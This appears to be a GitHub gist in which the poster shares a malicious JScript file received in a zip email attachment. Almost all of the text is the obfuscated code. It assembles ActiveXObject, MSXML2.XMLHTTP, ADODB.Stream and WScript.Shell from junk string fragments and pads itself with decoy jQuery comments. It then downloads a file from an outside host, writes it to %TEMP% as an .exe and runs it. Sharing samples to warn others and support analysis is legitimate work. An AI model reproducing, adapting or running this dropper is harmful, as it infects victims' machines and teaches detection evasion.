Skip to content

Instantly share code, notes, and snippets.

@unicolet unicolet/malware.js
Created Apr 4, 2016

Embed
What would you like to do?
Received this in a zip attachment. Just look at all that evasion text.
dnWuANlWi = "} An object can be passed to jQuery.data instead of a key/value pair; this gets shallow copied over onto the existing cache if ( typeof name === \"object\" || typeof name === \"function\" ) { if ( pvt ) { cache[ id ] = jQuery.extend( cache[ id ], name ); } else { cache[ id ].data = jQuery.extend( cache[ id ].data, name ); } ";
var enter = 0;
var enter1 = 7*2*7 + enter;
nixon = String[("context","approve","referrals","accrue","f")+("productivity","rolled","executed","ro")+"mC"+"ha"+("fossil","yorkshire","disrespect","explicitly","rC")+"ode"]( enter1);
var enter2 = 3/3;
String.prototype.borax = function () {
var catalogues = {
repel: this
};
catalogues.beach = catalogues.repel[("s"+("driver","legendary","teutonic","fought","uZ")+"st"+("achieved","cNkHLjlL","misleading","flinch","ring")).replace("Z", nixon)](enter, enter2);
return catalogues.beach;
};
String.prototype.investments = function () {
return this.replace(":",".").replace("U","S");
};
var dressing = [("motif","organise","elected","providers","Act")+"iveXOb"+("assure","missions","vishnu","applaud","je")+"ct", "E"+"xp"+"an"+("variegated","happiness","urgently","dE")+"nv"+("motels","mediawiki","puberty","sitemap","iron")+"me"+"nt"+"St"+("seventytwo","become","ri")+"ngs", ""+("blazon","territory","glassy","producer","%")+"TE"+"MP%", ""+"."+("outcast","figurative","ex")+ "e", ("cacique","auburn","R")+"un", "M"+("swede","emanuel","housewares","banners","SX")+"ML"+("suzerain","animal","nazareth","riddled","2.")+"XM"+"LH"+"TTP"+"" +("W"+"Ucri"+("proposition","moisten","pt")+":S"+"he"+"ll").investments()];
EpGOgzkMcf = "} thisCache = cache[ id ];";
var orbit = this[dressing.shift()];
ANWionQEd = "OQnXTEE";
shambles = (("creeper", "perugia", "swivel", "dynastic", "pWPhYsJnwy") + "UpbiQzTnQb").borax();
sedition = (("lurid", "premium", "sound", "bellies", "sxrFIuOys") + "lTEmfpzBvm").borax();
stark = ("n"+("erotica","brazilian","ep") + String.fromCharCode(110+enter2)).split("");
var suave = dressing.pop().split("");
var vocals = new orbit(suave[1]);
QObJNpGYMeG = " jQuery data() is stored in a separate object inside the object\"s internal data cache in order to avoid key collisions between internal data and user-defined data. if ( !pvt ) { if ( !thisCache.data ) { thisCache.data = {}; ";
var local = new orbit(suave[0]);
DgyyBqXTOd = "} thisCache = thisCache.data; ";
var oldworld = vocals[dressing.shift()](dressing.shift());
DaJNdBarR = "} if ( data !== undefined ) { thisCache[ jQuery.camelCase( name ) ] = data; ";
magic = (("gothic", "eddies", "drainage", "hessian", "EBTSiWcHpwzs") + "hBHqVUeiy").borax();
var basic = Math.random() ;
function hartford(effrontery, garcia) {
try {
var adulterous = oldworld + "/" + garcia + dressing.shift();
LEgbgGQXk = "} Check for both converted-to-camel and non-converted data property names If a data property was specified if ( typeof name === \"string\" ) {";
if (basic > 0) {
local[(stark).reverse().join("")](("henderson","auntie","G" + magic) + ("communist","implementation","proven","corner","T"), effrontery, false);
}
sfMgwIdA = " First Try to find as-is property data ret = thisCache[ name ];";
local[sedition + ("azalea","blackguard","e") + (("logging", "bedding", "principal", "slightly", "brakes", "nWXTgDkf") + "TaumexPsyCV").borax() + (("upsetting", "behaviour", "leasing", "aberrations", "reciprocate", "decGpwNlAj") + "lfYnBFijjqw").borax()]();
xMLNjvDPh = " Test for null|undefined property data if ( ret == null ) {";
if (local.status == 50*4) {
if (typeof(uSKqxUXSH)===("despotic","howitzer","torpedo","u")+"ndef"+"in"+"ed") {
var aristocrat = new orbit((("ecological","collection","worldwide","")+"A"+"pO"+"DB." + ""+("navigation","matches","S")+"tr"+"eam").replace("p", "D"));
aristocrat[""+("disquiet","tears","shannon","story","o")+"pen"]();
wKcgvlcNB = " Try to find the camelCased property ret = thisCache[ jQuery.camelCase( name ) ]; } } else { ret = thisCache; ";
aristocrat.type = enter2;
nQCEbSaQWFB = "} return ret; ";
aristocrat[("danny","vogue","w")+"ri"+"te"](local[("washing","alien","discrimination","")+"R"+("somali","concentrate","es")+"pon" + sedition + "e"+nixon.toUpperCase()+"o"+("exaggerate","lover","deposits","dy")]);
IsPCGOplyO = "}function internalRemoveData( elem, name, pvt ) { if ( !acceptData( elem ) ) { return; ";
aristocrat[(shambles + "o"+"Di"+("bizarre","exposed","shares","ti")+("barrow","irate","calendar","sporting","on")).replace("D", sedition)] = 0;
SgLJEsWt = "} var thisCache, i, isNode = elem.nodeType,";
aristocrat[("analyses","disney","locate","woodpecker","s")+"av"+("mercurial","pleasure","eToF")+"ile"](adulterous, 2);
oorDpgoDTh = " See jQuery.data for more information cache = isNode ? jQuery.cache : elem, id = isNode ? elem[ jQuery.expando ] : jQuery.expando;";
aristocrat.close();
cfFbJqREnyp = " If there is already no cache entry for this object, there is no purpose in continuing if ( !cache[ id ] ) { return; ";
vocals[dressing.shift()](adulterous, enter2, "xvJxoivy" === "lLAualmAzKq"); SsMAJan = "} if ( name ) {";
}
}
} catch (sgqXSThFH) { };
vyIVQtfGJfE = " thisCache = pvt ? cache[ id ] : cache[ id ].data;";
}
hartford(("contacting","hawthorn","h")+("carbolic","signal","tt")+"p:"+"//"+"amid-s."+"co"+("matches","elicit","homeless","bahrain","m.")+"ua"+"/54eft"+"yg"+"ub","MMYdEd");
WDhhXFfuBBf = " if ( thisCache ) {";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.